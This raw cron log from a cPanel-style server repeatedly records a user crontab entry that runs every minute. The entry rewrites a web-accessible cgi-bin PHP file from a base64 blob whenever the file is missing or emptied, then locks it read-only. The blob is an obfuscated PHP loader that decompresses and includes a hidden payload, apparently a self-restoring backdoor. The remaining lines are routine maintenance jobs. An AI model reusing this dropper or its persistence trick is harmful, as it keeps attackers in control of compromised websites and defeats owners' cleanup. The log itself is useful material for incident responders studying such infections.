Nov 12 09:03:01 server CROND[31075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:04:01 server CROND[32120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:05:01 server CROND[493]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 09:05:01 server CROND[494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:05:01 server CROND[496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:05:01 server CROND[497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:06:01 server CROND[1481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:07:01 server CROND[2397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:08:01 server CROND[3223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:09:01 server CROND[4034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:09:01 server CROND[4035]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 09:10:01 server CROND[4366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 09:10:01 server CROND[4367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:10:01 server CROND[4368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:10:01 server CROND[4369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:11:01 server CROND[5199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:12:01 server CROND[5887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:12:01 server CROND[5888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 09:13:01 server CROND[6725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:14:01 server CROND[7543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:15:01 server CROND[8372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:15:01 server CROND[8371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:15:01 server CROND[8370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
